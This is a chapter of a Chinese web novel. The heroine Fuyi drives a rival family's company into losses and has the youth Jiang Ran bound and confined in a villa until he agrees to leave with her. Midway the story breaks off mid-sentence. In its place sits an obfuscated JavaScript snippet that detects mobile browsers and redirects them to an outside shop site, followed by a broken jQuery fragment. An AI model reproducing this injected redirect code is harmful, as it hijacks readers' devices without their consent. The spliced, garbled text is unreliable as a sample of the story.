江燃已经走了。

    他还需要去打工,不能耽搁太久。

    拂衣还靠在那颗树上,垂着头没有反应。

    偶尔会有认识她的学生路过,朝她投来好奇的目光,她却恍若未觉。

    【灵主,您还好吗?】

    拂衣回过神,揉了揉发酸的脖颈,慢吞吞离开三中。

    金元宝。

    【在!】

    我给过他机会了。

    【……啊?】

    你的办法没用。

    金元宝突然有种不好的预感。

    拂衣抬起头,看着渐渐暗下来的天空。

    “所以,接下来,该用我自己的办法了。”

    不用说,金元宝也知道她所谓的自己的办法,会是什么手段。

    【……要不您再考虑考虑呢?】

    那是它的办法没用吗?!

    那是她压根就没用心!

    而且,它给了她那么多的攻略资料,她非得挑这种不是人的来做。

    嘤,主人已经很可怜了,就别再折磨他了吧?

    拂衣扯了下唇,没再搭理它。

    金元宝也不敢太过放肆,只能默默给自家主人祈祷。

    好在直到期末考结束,拂衣除了不停地抢龙丰的项目外,没做什么别的动作。

    这让它稍稍放心下来了一些。

    或许,大概,可能她只是说说而已呢?

    --

    连续一个月颗粒无收,哪怕是龙丰这样的龙头企业也吃不消。

    第一次竞争失败时,赵父还没在意。

    商场没有常胜将军,龙丰纵然是尚林前三的大企业,也不是无往不利。

    可接二连三的失利,还是让他觉察到了异常。

    起初,他以为是竞争对手耍了什么手段。

    可调查到的结果是,人家根本没用手段,纯粹是靠疯狂砸钱取胜。

    每个项目,对方出的价都高得离谱,完全是不计成本的投入。

    这种打法根本不符合商业逻辑。

    这么简单粗暴的风格,让赵父心里隐隐升起几分熟悉。

    几个月前,赵俊的那件事情,也是同样的手法。

    可……

    可能吗?

    这么多的项目砸下去,可不是一笔小数目。

    一个背景普通的小姑娘……

    赵父立即按下内线电话,叫来了助理。

    “林家那对夫妻的事情,办得怎么样了?”

    助理垂着头,有些嗫喏。

    “失败了。”

    “失败?”

    赵父咬牙,死死盯着助理。

    “怎么回事?”

    助理身子抖了抖,小心地觑了眼赵父。

    “本来我们已经跟擎海那边谈好了,可他们突然反口,把我们送过去的资金都给退了回来。”

    他手心里捏了把汗,声音越来越小。

    “我多方打听,才知道是擎海来了个新股东,那个股东几乎收拢了擎海所有的散股,一跃成为了大股东,他上任的第一件事,就是保下了林家那对夫妻,还给他们升了职。”

    赵父气得再也端不住,猛地站起来。

    办公椅在地面上划出刺耳的声响。

    “这么重要的事情,为什么不早点报告!”

    “我们一得到消息就上报了,可当时您正在竞标……”

    赵父捂着心口,强压怒火。

    “擎海那位新股东,是谁?”

    “明面上的代理人是华盛,可实际控股人是……林夕。”

    赵父闭了闭眼。

    预感成真。

    从上次在三中校门口和她有过一次交锋后,他就已经意识到了那小姑娘不好对付。

    没想到,他已经尽可能高看她了,却还是小看了她。

    他怎么也想不通,这样一个背景普通干净的小姑娘,到底哪来的那么多钱。

    赵父摆摆手,让助理下去了。

    --

    暑假的第一天,期末考刚结束。

    一中校门口,拂衣又见到了赵总身边那位助理,和那辆熟悉的黑色轿车。

    “林小姐……”

    拂衣一抬手,止住了他的话。

    姜媛好奇地打量着这位陌生的男人。

    “小夕,他是华盛哥派过来的吗?”

    她下意识扫视四周,却没见到那个想见的人。

    “这次怎么不是华盛哥来接你呀?”

    拂衣笑了下,拍了拍她的后脑勺。

    “华盛有别的事要忙,你爸妈在那边等着呢,你先走吧。”

    姜媛眼底有一抹失落一闪而过。

    看向自家爸妈那边,姜媛重新扬起笑容。

    “那小夕你到家了跟我说!我先走啦!”

    “好。”

    目送姜媛上了她家的车,拂衣才转身,径直走向那辆黑色轿车。

    赵父和上次见面没什么区别。

    依然是那副从容镇定的姿态。

    “林小姐的手段,还真是简单粗暴。”

    只是他眼下的青黑,和眉宇间的疲惫,还是暴露了他这段时间过得并不好。

    拂衣轻笑了声,浑身懒洋洋的。

    “简单不简单的,管用就行了呗。”

    赵父沉默。

    不得不承认,她说得对。

    这一个月来,龙丰确实被她这种简单粗暴,却又蛮横至极的手段给打压得节节败退。

    “林小姐,你到底想做什么?”

    “怎么总有人问我这个问题?”

    拂衣这次是真的被逗笑了。

    对江燃,是责任所在,她得让他跟他走,以弥补过错,了结因果。

    对赵俊,是他先对她出手,她只不过是以牙还牙。

    对赵家,是他们自家孩子做错了事,不仅不好好跟她道歉,还拿江燃和林父林母来威胁她,妄图让她低头,所以她还击了回去。

    “你们这些人啊,就是喜欢想太多。”

    可这些人总是不相信。

    江燃不信她只是单纯的想让他信任她,跟她走。

    赵父不信她只是在单纯的还击。

    总是觉得,在她这些行为的背后,藏着更深的阴谋用意。

    拂衣突然觉得挺没意思的。

    她推开车门,没给赵父继续往下说的机会。

    “赵俊,把他赶出赵家,不要再让我在尚林看见他。”

    得罪了她,总得付出点代价不是?

    如同上次一样,她离开得干脆利落。

    赵父看着她渐渐走入人流,消失不见。

    终于意识到,这件事情的掌控权,从来就不在他手中。

    离开了的拂衣,并没有回家。

    给钱就办的车早就已经等在旁边。

    车子一路开到郊外一处别墅。

    华盛已经等在门外。

    车子开进来,华盛主动上前打开车门,护着她下车。

    “都办好了?”

    “办好了。”

    看着抱着手往里走的少女,华盛沉默了会儿,还是忍不住开口。

    “小老板,你这么做……真的好吗?”

    “有什么不好的?”

    拂衣随口应答,兴致勃勃观察着别墅的布局。

    别墅很大,每隔三四米,就有一个保镖在站岗。

    “布置得不错。”

    她从他们面前路过时,都会礼貌恭敬地喊她小老板。

    一路来到三楼,华盛带着她停在一间房间外面。

    “我们的人没让他看到脸,你现在收手还来得及。”

    拂衣哼了声,推开他,手握在门把上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16872074|190488||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    。

    “我说过,不管他喜不喜欢,都只能跟我走。”

    不喜欢也没关系。

    她总有办法让他心甘情愿。

    至于是什么手段,又有什么重要的。

    目的达到不就行了?

    房门推开又合上,隔绝了外面的视线。

    看着紧闭的房门,华盛长长地叹了口气,默默下楼。

    房间里。

    房门一响,里面的人猛地抬起头。

    看清来人时,瞳孔骤然紧缩。

    “唔唔唔!”

    拂衣依在门上,抱着胳膊打量着里面的人。

    少年被绳子绑得严严实实,嘴巴上贴了张黑色的胶布。

    衣服凌乱,头发也乱糟糟的,狼狈不堪。

    【灵主?!您是什么时候把主人绑过来的?!】

    金元宝简直要疯了。

    它天天和她呆在一起,为什么没发现她是什么时候下的命令!

    拂衣垂着眼。

    连你都对付不了,我这灵主岂不是白当了?

    【……】

    好有道理哦,完全无法反驳。

    踩着柔软的毯子,拂衣一步步走近。

    她进一步,少年就退一步。

    直至退无可退。

    和三中门外时的交锋如出一辙。

    只是位置却完全对调。

    拂衣缓缓蹲下,伸出手。

    少年猛地一扭头,避开了她的手。

    拂衣手顿了顿,又不以为意地转了个方向,捏着他的下巴把他转回来,撕开他嘴巴上的胶布。

    嘴巴一得到自由,江燃立即低吼。

    “林夕!你知不知道你这么做是犯法的!”

    “哦。”

    拂衣淡淡应了声,又笑了起来。

    “你有本事就去告我啊!”

    “……”

    那她有本事就给他松绑,让他出去啊!

    江燃气得肝疼,肾疼,哪儿都疼。

    “你到底想干什么?!”

    又是这个问题。

    拂衣百无聊赖地把玩着手里的胶布。

    “我早就跟你说过了,你敢躲,我就把你绑起来。”

    “……”

    江燃哽住,一口气堵在胸口,不上不下,闷得慌。

    他当然记得。

    可那个时候,他以为她只是在说气话。

    谁想到她会这么疯?

    居然真他妈把他绑起来关着了!

    这是正常人能干出来的事儿吗?!

    “我也跟你说过,你想玩的游戏,我玩不起!”

    “我管你玩得起不玩得起。”

    拂衣嗤笑。

    “我只要你自愿跟我走而已。”

    她慢条斯理地给他解着绳子,眼也不抬。

    “之前让你选是要继续打工还是好好念书考大学,看你的样子也是选了打工,既然不想上学,那就老老实实在这儿呆着吧,什么时候愿意跟我走了,什么时候再出去。”

    绳子掉在地上,江燃重新得到了自由。

    他第一时间攥着拳抬起手砸过来。

    拂衣不闪不避,蹲在他面前,目光明亮地看着他。

    拳头在距离她只有一寸时,堪堪停下。

    她能看到他手背上冒起的青筋。

    “不打?”

    江燃磨了磨牙,手转了个方向,一拳砸在床栏上。

    “为什么非得是我?”

    他指着自己的脸,冷笑连连。

    “因为这张脸?”

    拂衣扫了眼他指节上冒着的血珠,眉头微不可查地皱了下。

    “没想到你还挺自恋。”

    给华盛发了条消息,拂衣没再继续留在房间里。

    “我的意思就是字面意思,想太多是病,得治。”